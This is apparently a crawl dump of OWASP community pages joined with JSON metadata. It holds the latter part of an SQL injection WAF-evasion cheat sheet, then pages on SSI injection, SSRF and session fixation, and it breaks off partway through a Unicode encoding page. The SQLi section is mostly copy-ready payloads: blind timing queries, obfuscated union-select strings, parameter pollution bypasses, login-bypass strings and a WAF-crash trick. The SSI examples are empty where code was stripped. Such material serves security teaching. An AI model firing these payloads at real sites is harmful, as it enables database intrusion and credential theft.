Injection vulnerabilities is divided into\nclasses according to the DBMS type and injection conditions.\n\n```\n• A vulnerable request can get into Insert, Update, Delete, etc.\n Example: UPDATE users SET pass = '1' where user = 't1' OR 1=1--'\n```\n\n1. Blind SQL Injection\n\n```\n Example: select * from table where id = 1 AND if((ascii(lower(substring((select user()),$i,1))))!=$s,1,benchmark(200000,md5(now())))\n```\n\n```\nSLEEP(5)--\nSELECT BENCHMARK(1000000,MD5('A'));\nid=1 OR SLEEP(25)=0 LIMIT 1--\nid=1) OR SLEEP(25)=0 LIMIT 1--\nid=1' OR SLEEP(25)=0 LIMIT 1--\nid=1') OR SLEEP(25)=0 LIMIT 1--\nid=1)) OR SLEEP(25)=0 LIMIT 1--\nid=SELECT SLEEP(25)--\n```\n\n1. Exploitation features for various DBMSs\n\n```\n Example: (MySQL): SELECT * from table where id = 1 union select 1,2,3\n Example: (PostgreSQL): SELECT * from table where id = 1; select 1,2,3\n```\n\n**Bypassing WAF: SQL Injection - Normalization Method**\nExample Number (1) of a vulnerability in the function of request\nNormalization.\n• The following request doesn’t allow anyone to conduct an attack\n\n` /?id=1+union+select+1,2,3/*`\n\n• If there is a corresponding vulnerability in the WAF, this request\n\n` will be successfully performed /?id=1/*union*/union/*select*/select+1,2,3/*`\n\n• After being processed by WAF, the request will become\n\n` index.php?id=1/*uni X on*/union/*sel X ect*/select+1,2,3/*`\n\nThe given example works in case of cleaning of dangerous traffic, not in\ncase of blocking the entire request or the attack source.\nExample Number (2) of a vulnerability in the function of request\nNormalization.\n• Similarly, the following request doesn’t allow anyone to conduct an\nattack\n\n` /?id=1+union+select+1,2,3/*`\n\n• If there is a corresponding vulnerability in the WAF, this request\nwill be successfully performed\n\n` /?id=1+un/**/ion+sel/**/ect+1,2,3–`\n\n• The SQL request will become\n\n` SELECT * from table where id =1 union select 1,2,3–`\n\n*Instead of construction /**/, any symbol sequence that WAF cuts off\ncan be used (e.g., #####, %00).*\n\n*The given example works in case of excessive cleaning of incoming data\n(replacement of a regular expression with the empty string).*\n\n**‘Using HTTP Parameter Pollution (HPP)**’\n\n• The following request doesn’t allow anyone to conduct an attack\n\n` /?id=1;select+1,2,3+from+users+where+id=1–`\n\n• This request will be successfully performed using HPP\n\n` /?id=1;select+1&id=2,3+from+users+where+id=1–`\n\n*Successful conduction of an HPP attack bypassing WAF depends on the\nenvironment of the application being attacked.* [EU09 Luca Carettoni, Stefano diPaola](http://wiki.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf)\n\n**Using HTTP Parameter Pollution (HPP)**\n\n• Vulnerable code\n\n` SQL=” select key from table where id= “+Request.QueryString(“id”)`\n\n• This request is successfully performed using the HPP technique\n\n` /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users`\n\n• The SQL request becomes select key from table where\n\n` id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/users`\n\n**ByPassing WAF: SQL Injection – HPF**\nUsing HTTP Parameter Fragmentation (HPF)\n\n• Vulnerable code example\n\n` Query(“select * from table where a=”.$_GET[‘a’].” and b=”.$_GET[‘b’]); Query(“select * from table where a=”.$_GET[‘a’].” and b=”.$_GET[‘b’].” limit”.$_GET[‘c’]);`\n\n• The following request doesn’t allow anyone to conduct an attack\n\n` /?a=1+union+select+1,2/*`\n\n• These requests may be successfully performed using HPF\n\n` /?a=1+union/*&b=*/select+1,2 /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users–`\n\n• The SQL requests become\n\n` select * from table where a=1 union/* and b=*/select 1,2 select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users–`\n\n**Bypassing WAF: Blind SQL Injection**\nUsing logical requests AND/OR\n• The following requests allow one to conduct a successful attack for\nmany WAFs\n\n` /?id=1+OR+0x50=0x50 /?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74`\n\n*Negation and inequality signs (!=, <>, <, >) can be used instead\nof the equality one – It is amazing, but many WAFs miss it!*\n\nIt becomes possible to exploit the vulnerability with the method of\nblind-SQL Injection by replacing SQL functions that get to WAF\nsignatures with their synonyms.\n*substring() -> mid(), substr()\nascii() -> hex(), bin()\nbenchmark() -> sleep()* Wide variety of logical requests.\nand 1\nor 1\nand 1=1\nand 2<3\nand ‘a’=’a’\nand ‘a’<>‘b’\nand char(32)=’ ‘\nand 3<=2\nand 5<=>4\nand 5<=>5\nand 5 is null\nor 5 is not null\n….\n**An example of various request notations with the same meaning.**\nselect user from mysql.user where user = ‘user’ OR\nmid(password,1,1)=’*’\nselect user from mysql.user where user = ‘user’ OR\nmid(password,1,1)=0x2a\nselect user from mysql.user where user = ‘user’ OR\nmid(password,1,1)=unhex(‘2a’)\nselect user from mysql.user where user = ‘user’ OR mid(password,1,1)\nregexp ‘[*]’\nselect user from mysql.user where user = ‘user’ OR mid(password,1,1)\nlike ‘*’\nselect user from mysql.user where user = ‘user’ OR mid(password,1,1)\nrlike ‘[*]’\nselect user from mysql.user where user = ‘user’ OR\nord(mid(password,1,1))=42\nselect user from mysql.user where user = ‘user’ OR\nascii(mid(password,1,1))=42\nselect user from mysql.user where user = ‘user’ OR\nfind_in_set(‘2a’,hex(mid(password,1,1)))=1\nselect user from mysql.user where user = ‘user’ OR position(0x2a in\npassword)=1\nselect user from mysql.user where user = ‘user’ OR\nlocate(0x2a,password)=1\n**Known:** substring((select ‘password’),1,1) = 0x70\nsubstr((select ‘password’),1,1) = 0x70\nmid((select ‘password’),1,1) = 0x70\n**New:**\nstrcmp(left(‘password’,1), 0x69) = 1\nstrcmp(left(‘password’,1), 0x70) = 0\nstrcmp(left(‘password’,1), 0x71) = -1\nSTRCMP(expr1,expr2) returns 0 if the strings are the same, -1 if the\nfirst , argument is smaller than the second one, and 1 otherwise.\n\n**An example of signature bypass.**\nThe following request gets to WAF signature\n/?id=1+union+(select+1,2+from+users) But sometimes, the signatures used\ncan be bypassed\n/?id=1+union+(select+’xz’from+xxx)\n\n`/?id=(1)union(select(1),mid(hash,1,32)from(users))` `/?id=1+union+(select'1',concat(login,hash)from+users)` `/?id=(1)union(((((((select(1),hex(hash)from(users))))))))` `/?id=(1)or(0x50=0x50)`\n\n**An SQL Injection attack can successfully bypass the WAF , and be\nconducted in all following cases:**\n• Vulnerabilities in the functions of WAF request normalization.\n• Application of HPP and HPF techniques.\n• Bypassing filter rules (signatures).\n• Vulnerability exploitation by the method of blind SQL Injection.\n• Attacking the application operating logics (and/or)\n\n**WAF Bypassing Strings.**\n\n` /*!%55NiOn*/ /*!%53eLEct*/ %55nion(%53elect 1,2,3)– - +union+distinct+select+ +union+distinctROW+select+ /**//*!12345UNION SELECT*//**/ concat(0x223e,@@version) concat(0x273e27,version(),0x3c212d2d) concat(0x223e3c62723e,version(),0x3c696d67207372633d22) concat(0x223e,@@version,0x3c696d67207372633d22) concat(0x223e,0x3c62723e3c62723e3c62723e,@@version,0x3c696d67207372633d22,0x3c62​723e) concat(0x223e3c62723e,@@version,0x3a,”BlackRose”,0x3c696d67207372633d22) concat(‘’,@@version,’’) /**//*!50000UNION SELECT*//**/ /**/UNION/**//*!50000SELECT*//**/ /*!50000UniON SeLeCt*/ union /*!50000%53elect*/ +#uNiOn+#sEleCt +#1q%0AuNiOn all#qa%0A#%0AsEleCt /*!%55NiOn*/ /*!%53eLEct*/ /*!u%6eion*/ /*!se%6cect*/ +un/**/ion+se/**/lect uni%0bon+se%0blect %2f**%2funion%2f**%2fselect union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A REVERSE(noinu)+REVERSE(tceles) /*–*/union/*–*/select/*–*/ union (/*!/**/ SeleCT */ 1,2,3) /*!union*/+/*!select*/ union+/*!select*/ /**/union/**/select/**/ /**/uNIon/**/sEleCt/**/ /**//*!union*//**//*!select*//**/ /*!uNIOn*/ /*!SelECt*/ +union+distinct+select+ +union+distinctROW+select+ +UnIOn%0d%0aSeleCt%0d%0a UNION/*&test=1*/SELECT/*&pwn=2*/ un?+un/**/ion+se/**/lect+ +UNunionION+SEselectLECT+ +uni%0bon+se%0blect+ %252f%252a*/union%252f%252a /select%252f%252a*/ /%2A%2A/union/%2A%2A/select/%2A%2A/ %2f**%2funion%2f**%2fselect%2f**%2f union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A /*!UnIoN*/SeLecT+`\n\n**Union Select by PASS with Url Encoded Method:**\n%55nion(%53elect)\nunion%20distinct%20select\nunion%20%64istinctRO%57%20select\nunion%2053elect\n%23?%0auion%20?%23?%0aselect\n%23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect\n%55nion %53eLEct\nu%6eion se%6cect\nunio%6e %73elect\nunio%6e%20%64istinc%74%20%73elect\nuni%6fn distinct%52OW s%65lect\n%75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7\n**Illegal mix of Collations ByPass Method :**\nunhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name)))\n\n` /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)`\n\n` union select 1,2,unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name))),4,5 /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)?`\n\n## Bypass with Comments\n\nSQL comments allow us to bypass a lot of filtering and WAFs.\n\n```\n Code :\n http://victim.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3--\n```\n\n## Case Changing\n\nSome WAFs filter only lowercase SQL keyword.\n\nRegex Filter: /union\\sselect/g\n\n```\nhttp://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--\n```\n\n## Replaced Keywords\n\nSome application and WAFs use preg_replace to remove all SQL keyword.\nSo we can bypass easily.\n\n```\nhttp://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--\n```\n\nSome case SQL keyword was filtered out and replaced with whitespace. So\nwe can use “%0b” to bypass.\n\n```\nhttp://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--\n```\n\nFor Mod_rewrite, Comments “/**/” cannot bypassed. So we use “%0b”\nreplace “/**/”.\n\n```\nForbidden: http://victim.com/main/news/id/1/**/\n|\n|/**/lpad(first_name,7,1).html\nBypassed : http://victim.com/main/news/id/1%0b\n|\n|%0blpad(first_name,7,1).html\n```\n\n## Advanced Methods\n\nCrash Firewall via doing Buffer Over Flow.\n\n1) Buffer Overflow / Firewall Crash: Many Firewalls are developed in\nC/C++ and we can Crash them using Buffer Overflow.\n\n```\n http://www.site.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 “A”)..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4….\n\n You can test if the WAF can be crashed by typing:\n ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4….\n\n If you get a 500, you can exploit it using the Buffer Overflow Method.\n```\n\n2) Replace Characters with their HEX Values: We can replace some\ncharacters with their HEX (URL-Encoded) Values.\n\n```\nExample:\n http://www.site.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….\n (which means “union select”)\n```\n\n3) Misc Exploitable Functions: Many firewalls try to offer more\nProtection by adding Prototype or Strange Functions! (Which, of course,\nwe can exploit!):\n\n```\nExample:\n This firewall below replaces “*” (asterisks) with Whitespaces! What we can do is this:\n http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4…\n (If the Firewall removes the “*”, the result will be: 15+union+select….)\n So, if you find such a silly function, you can exploit it, in this way.\n```\n\n## Auth Bypass\n\nIf we need to bypass some admin panels, and we do that using or 1=1.\n\n```\nCode:\nor 1-- -' or 1 or '1\"or 1 or\"\n```\n\nSELECT * FROM login WHERE id=1 or 1– -‘ or 1 or ‘1”or 1 or” AND\nusername=’’ AND password=’’ the “or 1– -“ gets active, make the\ncondition true and ignores the rest of the query. now lets check regular\nstring-\n\nSELECT * FROM login WHERE username=’ or 1– -‘ or 1 or ‘1”or 1 or” ‘\n….. the “or 1” part make the query true, and the other parts are\nconsidered as the comparison strings. same with the double quotes.\nSELECT * FROM login WHERE username=” or 1– -‘ or 1 or ‘1”or 1 or” “\n\n## Benchmark\n\nPlease use *’ Benchmark*’ and make you own SQLi Strings and test your\ndifferent test cases on\n[Benchmark](https://www.owasp.org/index.php/Benchmark)\n\n---\n\n*If you have any SQLi Quires which is Missed above Please help to\nContribute [Mail Down](https://www.owasp.org/index.php/Dhiraj_Mishra)\nand be a part of **The Popular SQLi Evasion CheatSheet.***\n\n## Contributor\n\nDhiraj Mishra ([[email protected]](/cdn-cgi/l/email-protection))\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 13175, "slov": 1745, "odkazu": 32, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:33:42", "sha256": "1c22bcecb1502818a1c30268c9770993ef8f5702d1a1d260a365e845e937e2dc", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://wiki.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf", "https://www.owasp.org/index.php/Benchmark", "https://www.owasp.org/index.php/Dhiraj_Mishra", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/attacks/Server-Side_Includes_(SSI)_Injection", "titulek": "Server-Side Includes (SSI) Injection | OWASP Foundation", "h1": "Server-Side Includes (SSI) Injection", "popis": "Server-Side Includes (SSI) Injection on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/attacks/Server-Side_Includes_(SSI)_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Server-Side Includes (SSI) Injection on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Server-Side Includes (SSI) Injection | OWASP Foundation", "og:url": "https://community.owasp.org/attacks/Server-Side_Includes_(SSI)_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Server-Side Includes (SSI) Injection"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "Examples"}, {"uroven": 3, "text": "Example 1"}, {"uroven": 3, "text": "Example 2"}, {"uroven": 3, "text": "Example 3"}, {"uroven": 2, "text": "References"}], "markdown": "# Server-Side Includes (SSI) Injection\n\n**Author:** Weilin Zhong, Nsrav \n **Contributor(s):** KirstenS, Laurence Casey, Sam (Frenchie) Stewart, Glenn (devalias) Grant, kingthorin, Juliya Smith\n\n## Description\n\nSSIs are directives present on Web applications used to feed an HTML\npage with dynamic contents. They are similar to CGIs, except that SSIs\nare used to execute some actions before the current page is loaded or\nwhile the page is being visualized. In order to do so, the web server\nanalyzes SSI before supplying the page to the user.\n\nThe Server-Side Includes attack allows the exploitation of a web\napplication by injecting scripts in HTML pages or executing arbitrary\ncodes remotely. It can be exploited through manipulation of SSI in use\nin the application or force its use through user input fields.\n\nIt is possible to check if the application is properly validating input\nfields data by inserting characters that are used in SSI directives,\nlike:\n\n`< ! # = / . \" - > and [a-zA-Z0-9]`\n\nAnother way to discover if the application is vulnerable is to verify\nthe presence of pages with extension .stm, .shtm and .shtml. However,\nthe lack of these type of pages does not mean that the application is\nprotected against SSI attacks.\n\nIn any case, the attack will be successful only if the web server\npermits SSI execution without proper validation. This can lead to access\nand manipulation of file system and process under the permission of the\nweb server process owner.\n\nThe attacker can access sensitive information, such as password files,\nand execute shell commands. The SSI directives are injected in input\nfields and they are sent to the web server. The web server parses and\nexecutes the directives before supplying the page. Then, the attack\nresult will be viewable the next time that the page is loaded for the\nuser’s browser.\n\n## Examples\n\n### Example 1\n\nThe commands used to inject SSI vary according to the server operational\nsystem in use. The following commands represent the syntax that should\nbe used to execute OS commands.\n\n**Linux:**\n\nList files of directory:\n\n``\n\nAccess directories:\n\n``\n\n**Windows:**\n\nList files of directory:\n\n``\n\nAccess directories:\n\n``\n\nTo show current document filename:\n\n``\n\nTo show virtual path and filename:\n\n``\n\nUsing the “config” command and “timefmt” parameter, it is possible to\ncontrol the date and time output format:\n\n``\n\nUsing the “fsize” command, it is possible to print the size of selected\nfile:\n\n``\n\n### Example 3\n\nAn old vulnerability in the IIS versions 4.0 and 5.0 allows an attacker\nto obtain system privileges through a buffer overflow failure in a\ndynamic link library (ssinc.dll). The “ssinc.dll” is used to interpreter\nprocess Server-Side Includes.\n[CVE 2001-0506](https://nvd.nist.gov/vuln/detail/CVE-2001-0506).\n\nBy creating a malicious page containing the SSI code bellow and forcing\nthe application to load this page ([Path Traversal](Path_Traversal) attack), \nit’s possible to perform this attack:\n\nssi_over.shtml\n\n``\n\nPS: The number of “U” needs to be longer than 2049.\n\nForcing application to load the ssi_over.shtml page:\n\nNon-malicious URL:\n\n`www.vulnerablesite.org/index.asp?page=news.asp`\n\nMalicious URL:\n\n`www.vulnerablesite.org/index.asp?page=www.malicioussite.com/ssi_over.shtml`\n\nIf the IIS return a blank page it indicates that an overflow has\noccurred. In this case, the attacker might manipulate the procedure flow\nand executes arbitrary code.\n\n- [Code Injection](Code_Injection)\n\n- [Input Validation Vulnerability](PHP_File_Inclusion)\n\n- [Input Validation Vulnerability](https://owasp.org/www-project-proactive-controls/v3/en/c5-validate-inputs)\n\n## References\n\n- [CGI and SSI Syntax and Examples](http://httpd.apache.org/docs/current/howto/ssi.html#basic)\n- [Injection Flaws](https://owasp.org/www-community/Injection_Flaws)\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 4352, "slov": 619, "odkazu": 36, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:33:44", "sha256": "355d620dcece1de29bf2fbff009addaa4cbbaece76a35f1133ee9786fffb4afb", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://nvd.nist.gov/vuln/detail/CVE-2001-0506", "http://httpd.apache.org/docs/current/howto/ssi.html", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/attacks/Server_Side_Request_Forgery", "titulek": "Server Side Request Forgery | OWASP Foundation", "h1": "Server Side Request Forgery", "popis": "Server Side Request Forgery on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/attacks/Server_Side_Request_Forgery", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Server Side Request Forgery on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Server Side Request Forgery | OWASP Foundation", "og:url": "https://community.owasp.org/attacks/Server_Side_Request_Forgery", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Server Side Request Forgery"}, {"uroven": 2, "text": "Overview"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "Prevention"}], "markdown": "# Server Side Request Forgery\n\n**Author:** Eoftedal \n **Contributor(s):** ErezYalon, kingthorin\n\n## Overview\n\nIn a Server-Side Request Forgery (SSRF) attack, the attacker can abuse\nfunctionality on the server to read or update internal resources. The\nattacker can supply or modify a URL which the code running on the\nserver will read or submit data to, and by carefully selecting the URLs,\nthe attacker may be able to read server configuration such as AWS\nmetadata, connect to internal services like http enabled databases or\nperform post requests towards internal services which are not intended\nto be exposed.\n\n## Description\n\nThe target application may have functionality for importing data from a\nURL, publishing data to a URL or otherwise reading data from a URL that\ncan be tampered with. The attacker modifies the calls to this\nfunctionality by supplying a completely different URL or by manipulating\nhow URLs are built (path traversal etc.).\n\nWhen the manipulated request goes to the server, the server-side code\npicks up the manipulated URL and tries to read data to the manipulated\nURL. By selecting target URLs the attacker may be able to read data from\nservices that are not directly exposed on the internet:\n\n- Cloud server meta-data - Cloud services such as AWS provide a REST\ninterface on `http://169.254.169.254/` where important configuration\nand sometimes even authentication keys can be extracted.\n- Database HTTP interfaces - NoSQL database such as MongoDB provide\nREST interfaces on HTTP ports. If the database is expected to only\nbe available to internally, authentication may be disabled and the\nattacker can extract data.\n- Internal REST interfaces.\n- Files - The attacker may be able to read files using `file://` URIs.\n\nThe attacker may also use this functionality to import untrusted data\ninto code that expects to only read data from trusted sources, and as\nsuch circumvent input validation.\n\n## Prevention\n\nSee the [Server-Side Request Forgery Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html).\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 2172, "slov": 314, "odkazu": 27, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 23:47:53", "sha256": "18f7d15b5147d72a43d81d0c40743f04334c0e41aeeb831ebf923be77209d5f9", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/attacks/Session_fixation", "titulek": "Session fixation | OWASP Foundation", "h1": "Session fixation", "popis": "Session fixation on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/attacks/Session_fixation", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Session fixation on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Session fixation | OWASP Foundation", "og:url": "https://community.owasp.org/attacks/Session_fixation", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Session fixation"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "Examples"}, {"uroven": 3, "text": "Example 1"}, {"uroven": 3, "text": "Example 2"}, {"uroven": 3, "text": "Example 3"}, {"uroven": 3, "text": "Example 4"}, {"uroven": 2, "text": "References"}], "markdown": "# Session fixation\n\n**Author:** mwood \n **Contributor(s):** Nsrav, Greenapple8189, KirstenS, Alan Jex, Mark Sienkiewicz, Bill Sempf, kingthorin\n\n## Description\n\nSession Fixation is an attack that permits an attacker to hijack a valid\nuser session. The attack explores a limitation in the way the web\napplication manages the session ID, more specifically the vulnerable web\napplication. When authenticating a user, it doesn’t assign a new session\nID, making it possible to use an existent session ID. The attack\nconsists of obtaining a valid session ID (e.g. by connecting to the\napplication), inducing a user to authenticate himself with that session\nID, and then hijacking the user-validated session by the knowledge of\nthe used session ID. The attacker has to provide a legitimate Web\napplication session ID and try to make the victim’s browser use it.\n\nThe session fixation attack is not a class of [Session\nHijacking](Session_hijacking_attack), which steals the\nestablished session between the client and the Web Server after the user\nlogs in. Instead, the Session Fixation attack fixes an established\nsession on the victim’s browser, so the attack starts before the user\nlogs in.\n\nThere are several techniques to execute the attack; it depends on how\nthe Web application deals with session tokens. Below are some of the\nmost common techniques:\n\n- **Session token in the URL argument:** The Session ID is sent to the\nvictim in a hyperlink and the victim accesses the site through the\nmalicious URL.\n- **Session token in a hidden form field:** In this method, the victim\nmust be tricked to authenticate in the target Web Server, using a login\nform developed for the attacker. The form could be hosted in the evil\nweb server or directly in html formatted e-mail.\n- **Session ID in a cookie:**\n - Client-side script Most browsers support the execution of client-side scripting. In this\n case, the aggressor could use attacks of code injection as the\n [XSS](Cross-site_Scripting_\\(XSS\\)) (Cross-site scripting)\n attack to insert a malicious code in the hyperlink sent to the victim\n and fix a Session ID in its cookie. Using the function document.cookie,\n the browser which executes the command becomes capable of fixing values\n inside of the cookie that it will use to keep a session between the\n client and the Web Application.\n - META Tag Is considered a code injection attack, however, different from\n the XSS attack where undesirable scripts can be disabled, or the\n execution can be denied. The attack using this method becomes much more\n efficient because it’s impossible to disable the processing of these\n tags in the browsers.\n - HTTP header response- This method explores the server response to fix the Session ID in the\n victim’s browser. Including the parameter Set-Cookie in the HTTP header\n response, the attacker is able to insert the value of Session ID in the\n cookie and sends it to the victim’s browser.\n\n## Examples\n\n### Example 1\n\nThe example below explains a simple form, the process of the attack, and\nthe expected results.\n\n1. The attacker has to establish a legitimate connection with the web\nserver which\n2. issues a session ID or, the attacker can create a new\nsession with the proposed session ID, then\n3. the attacker has to send\na link with the established session ID to the victim, they have to click\non the link sent from the attacker accessing the site\n4. the Web\nServer saw that session was already established and a new one need not\nto be created\n5. the victim provides their credentials to the Web\nServer\n6. knowing the session ID, the attacker can access the user’s\naccount.\n\nFigure 1. Simple example of Session Fixation attack.\n\n### Example 2\n\nClient-side scripting\n\nThe processes for the attack using the execution of scripts in the\nvictim’s browser are very similar to example 1, however, in this case,\nthe Session ID does not appear as an argument of the URL, but inside of\nthe cookie. To fix the value of the Session ID in the victim’s cookie,\nthe attacker could insert a JavaScript code in the URL that will be\nexecuted in the victim’s browser.\n\n` http://website.kom/`\n\n### Example 3\n\nMETA Tag\n\nAs well as client-side scripting, the code injection must be made in the\nURL that will be sent to the victim.\n\n`http://website.kon/`\n\n### Example 4\n\nHTTP header response\n\nThe insertion of the value of the SessionID into the cookie manipulating\nthe server response can be made, intercepting the packages exchanged\nbetween the client and the Web Application inserting the Set-Cookie\nparameter.\n\nFigure 2. Set-Cookie in the HTTP header response\n\n- [XSS](XSS)\n- [Session hijacking attack](Session_hijacking_attack)\n\n## References\n\n- [http://www.acros.si/papers/session_fixation.pdf](http://www.acros.si/papers/session_fixation.pdf)\n- [http://en.wikipedia.org/wiki/Session_fixation](https://en.wikipedia.org/wiki/Session_fixation)\n- [http://www.derkeiler.com/pdf/Mailing-Lists/Securiteam/2002-12/0099.pdf](http://www.derkeiler.com/pdf/Mailing-Lists/Securiteam/2002-12/0099.pdf)\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 5093, "slov": 773, "odkazu": 33, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:33:36", "sha256": "b147fc7953764928c8747ae4f488236a19e16b18e0775e3fceabe078e78d0ceb", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://www.acros.si/papers/session_fixation.pdf", "https://en.wikipedia.org/wiki/Session_fixation", "http://www.derkeiler.com/pdf/Mailing-Lists/Securiteam/2002-12/0099.pdf", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/attacks/Unicode_Encoding", "titulek": "Unicode Encoding | OWASP Foundation", "h1": "Unicode Encoding", "popis": "Unicode Encoding on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/attacks/Unicode_Encoding", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Unicode Encoding on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Unicode Encoding | OWASP Foundation", "og:url": "https://community.owasp.org/attacks/Unicode_Encoding", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Unicode Encoding"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "Examples"}, {"uroven": 2, "text": "References"}], "markdown": "# Unicode Encoding\n\nThank you for visiting OWASP.org. We have migrated our community to a new web platform and regretably the content for this page needed to be programmatically ported from its previous wiki page. There’s still some work to be done.\n\nThis is an example of a Project or Chapter Page.\n\n## Description\n\nThe attack aims to explore flaws in the decoding mechanism implemented\non applications when decoding Unicode data format. An attacker can use\nthis technique to encode certain characters in the URL to bypass\napplication filters, thus accessing restricted resources on the Web\nserver or to force browsing to protected pages.\n\n## Examples\n\nConsider a web application which has restricted directories or files\n(e.g. a file containing application usernames: appusers.txt). An\nattacker can encode the character sequence “../” 